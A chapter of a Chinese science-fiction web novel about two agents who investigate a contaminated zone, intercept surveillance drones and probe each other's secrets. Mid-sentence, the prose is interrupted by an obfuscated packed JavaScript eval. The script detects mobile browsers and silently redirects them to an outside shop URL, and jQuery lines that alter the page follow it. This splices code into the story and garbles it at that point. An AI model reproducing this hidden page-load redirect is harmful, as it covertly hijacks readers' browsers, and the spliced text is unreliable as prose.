“喂!辛娅!”
在看到她如断线木偶般倒来时,赫尔希的身体率先做出了反应。他向前跨步,接住了她,顺势单膝跪下。
面罩下,她是睁着眼的,那双漆黑的瞳仁黯淡发灰。他迅速摘下手套,指腹重重地按在她的颈侧。
很好,还有脉搏。
战术终端没有发出警报,威胁来自哪里?他的辅助镜片扫过空荡荡的实验室,最后落在那些四散开来的意识体上。
机体死亡后,意识体有概率在高污染场中残存,但也只是意识碎片,没有实体,也没有自主意志,随着时间的推移会消散,理论上对人没有影响。
可他转念一想,这里是禁区,高污染场会扭曲时间和空间,产生未知异象,不能完全按照常理推测。
他抱起辛娅,快步远离建筑。
“你带我去哪儿?”她的眼中终于又亮起了光。
“上车。”
“先放我下来,”她按着他的肩,“刚刚,你听见声音了吗?”
他想了几秒:“没听见,刚刚你听见什么了,是精神污染吗?”
“不,应该是幻觉,和污染无关。”
她不自觉地握紧了腰间的枪。这个动作没有逃过赫尔希的眼睛,他知道她在精神极度紧绷时,会通过确认武器的位置来保持镇定。
这里有什么东西让她感到危险?
“防护服的过滤系统正常,你没有直接接触到污染,”他不紧不慢地把手套戴回,“有变异体,或是异能反应?”
“没有。走吧,还有数据没记录,用异能链接吧,你的脑子比这破设备转得快。”
她径直走回了正中央的建筑。楼层指引牌已经褪色,看不清字样,她没有往上走,而是推开防护门,向下的楼梯出现在眼前。
赫尔希不声不响地跟着。他没有再劝她远离这片会产生不良反应的区域,一来,她不会听,二来,他也觉察到几分蹊跷。
她似乎对这里格外熟悉。
即使共享了视野,他也没有发现地下室的最后一级台阶比别的要高几公分,这几公分的高差让他的步伐趔趄,她却走得十分顺畅。
地下室没有光,他们也不需要。
每间房间的门都是打开的,除了固定的家具和设施,里面空空如也。
赫尔希没等她开口,已经用取样工具取了粉尘和空气样本。
“收拾得真够干净的。”她抱臂站在其中一扇门外。
“最好尽快离开,地下室的氧气含量不足,缺氧会干扰你的判断,”他直起身看向她,“还能听到那声音吗?会不会是意识体的影响?”
她答得果断:“不会。”
“你在找什么——”
辛娅抬手止住了他的话:“等等,有无人机入侵。”
二人的动作都瞬间凝住,共享的视野里,三架涂有隐身涂层的无人机如鬼魅般逼近,悬停在十数米的高度。
“军用型号,没有识别码。”赫尔希快速分析。
“管它是什么,当妨碍公务处理,”她拉上枪栓,头也不回,“你保持隐蔽,我先击落一架,试探反应。”
砰。
暴露在攻击范围里的无人机应声坠落,她收回枪管,矮身在柱廊的阴影里疾走,向下一个射击点移动。
一束强光骤然射出,她猛地侧身急停,手肘擦过光柱边缘,迅速缩回暗处。然而剩下的两架无人机并没有攻击意图,识别到她的攻击方向后,就抬升高度,掩在房檐后。
强光探照灯的白光刺穿红雾,交错扫过地面,辛娅屏息不动,心头蓦地一沉:它们在找人?
除了霍瑞,还有谁知道他们会来这里?
污染尘雾会干扰信号,以目前的浓度,即使装载军用级别的放大器,信号范围也只在五十米左右。她朝身后比了个手势,赫尔希竖起拇指表示确认,沿着墙根翻出窗外。
他早已在义脑建模出的三维地图上标出了中继平台的可能位置,辛娅的目的,是要拦截它们接收和回传的数据。
异能链接断开,通讯也无法接通,在这不远的距离里,他们就像两个孤岛。
不,不完全是,他知道辛娅会看着他。
他在她的掌控范围内,很安全。
以第一座中继平台为信号源,赫尔希很快定位了另外两座信号中继平台。它们呈扇形分布,覆盖范围正好足够将信号传递出这片重度污染区,显然不是临时布设。
在被启用前,它们伪装成了废弃的样子,才瞒过了他们的眼睛。
他没有立刻破坏平台,而是发出伪装指令,侵入控制系统,将要传出的数据流尽数劫持。
【面部特征扫描,行动模式扫描,生物特征扫描……比对中……未响应,重试……1、2、3……未响应,重试……】
【——终端离线。】
辛娅行动了,无人机已被击落。赫尔希没有多犹豫,精准拆下供电模块,威胁解除。
在她露面开枪的那一刻,无人机就已经采集了她的各项生物特征,实时传回后方的数据库进行比对。
她知道他会截断链路,不会让一个字节的数据流出禁区,这才动的手。
他也确实是这样做的。
松下一口气后,他的心里冒出了和辛娅同样的疑问。
但他的疑虑更多一层,是关于她的身份。重重疑点叠加在一起,已经到了无法忽视的地步。
尽管他并不想窥探。
“喂,什么情况?”
她的身影从浓雾里映出来,慵懒的声音渐近,与通讯器里断断续续的人声重合。
“无法反向定位,”他垂眸扫过身旁的零件,“但数据没有传出去,都被我截获了。”
“无人机我查看过,没有火力模块,所有的标识符和标识码都被抹除,手脚很干净,不像是普通走私货。”
“你有什么看法?”
“它们是在扫描我?”
“是。这套监视系统埋伏已久,不知道是针对某个人,还是无差别地监视入侵者。”
辛娅当然听得出那几分试探的意思,她神色未变:“或许是有人不想让青鸟如愿以偿。”
“你的意思是,这些幕后监视者们,还想在当年那起事故上做文章?”
赫尔希微不可闻地拧起眉头。她把话
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014466|194185||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
题从自己身上转开,引向了另一个更合理的猜测,舆论的平息自然与议事庭有关,这是为达成防线共同防御的合作做准备,可既然监视系统早已布下,又为何到现在才启用?还是说,那帮人是想借异管局之手,破坏合作?
辛娅勾了勾嘴角,分明是看穿了他心中所想:“你也没想到自己有一天会变成别人的棋子吧?”
话已至此,他知道不可能再从她嘴里听到更多了。
“相反,我对这种事习以为常,但我不会任人宰割。”
他语气平静,弯腰捡起零件。辅助镜片一块块地扫描过去,拍摄、存档,核心组件拆卸带回,动作迅速有条理。他能感受到辛娅的目光刺在他背后,那是一种冷淡的审视,带着惯常的警惕。
他还以为她已经不会用这种眼神看自己了。
“你来过这里。”他没有转过身。
辛娅正要开口,就被打断。
“——别试图否认,我不会无缘无故下结论。你对这里的熟悉已经刻入肌肉记忆,以至于你忽略了即使有全能视野的辅助,有些东西仍旧是需要时间适应和习惯,”他停了停,没有等到她的反应,“例如台阶的细微高差、门把手下压的卡顿、廊柱分布不对称导致的门窗位置偏移……更别提突如其来的幻觉。辛娅,我无意追究你的秘密,但正如你所说,我们有可能正在被人当做棋子,我认为对方选中你,并非偶然。”
“就算我来过,然后呢?比起我,你更有价值吧。”
“我认为没有人会不知好歹,对德维尔家族的人下手。”
辛娅关上车门,突兀地笑起来:“你也太自信了,既然要动摇议事庭的决定,不豁出去怎么行呢。‘德维尔家族联手异管局,暗中调查深河工业园污染泄露事故,中央议事庭疑似不再信任青鸟科技’……什么的,不管调查结果如何,反正这种消息传出去,当年的舆论又会被别有用心的人趁势翻出来,又是好一番风波。”
她的语气轻飘飘的,似乎没有把赫尔希的话放在心上。
“你在自欺欺人。”
“你有病。”
她拉开防护服的头罩,团成一团扔进污染废物处置箱。
“我很健康,有问题的是你。”
“……你能听懂人话吗?”
“如果你说的刚刚那句欲盖弥彰的人身攻击,我能听懂,”他的眉宇间浮起几分无奈,“而我的回答,意思是你该回诊所做检查了。我刚刚咨询了范安柏,他说幻觉也是污染症的后遗症之一,患者未完全康复前,对污染刺激的抗性会比平时更低,不留意的话可能会病情复发甚至加重。”
“我要去跟局长复命。”
“我可以代劳。”
“不行,”她看着窗外,“我要亲自和她说。”
气氛沉下来,他的手握在方向盘上,尽管此时并不需要他手动驾驶。她的音量提高,声音发紧,义脑识别结果为严肃而非冲动或是固执。他轻抿下唇,把反驳和理由咽了下去。
“需要我做什么吗?”
“不——”她瞥见他被霓虹灯勾勒出的侧脸,又改口,“在办公室等我吧,不是说还要回诊所吗。”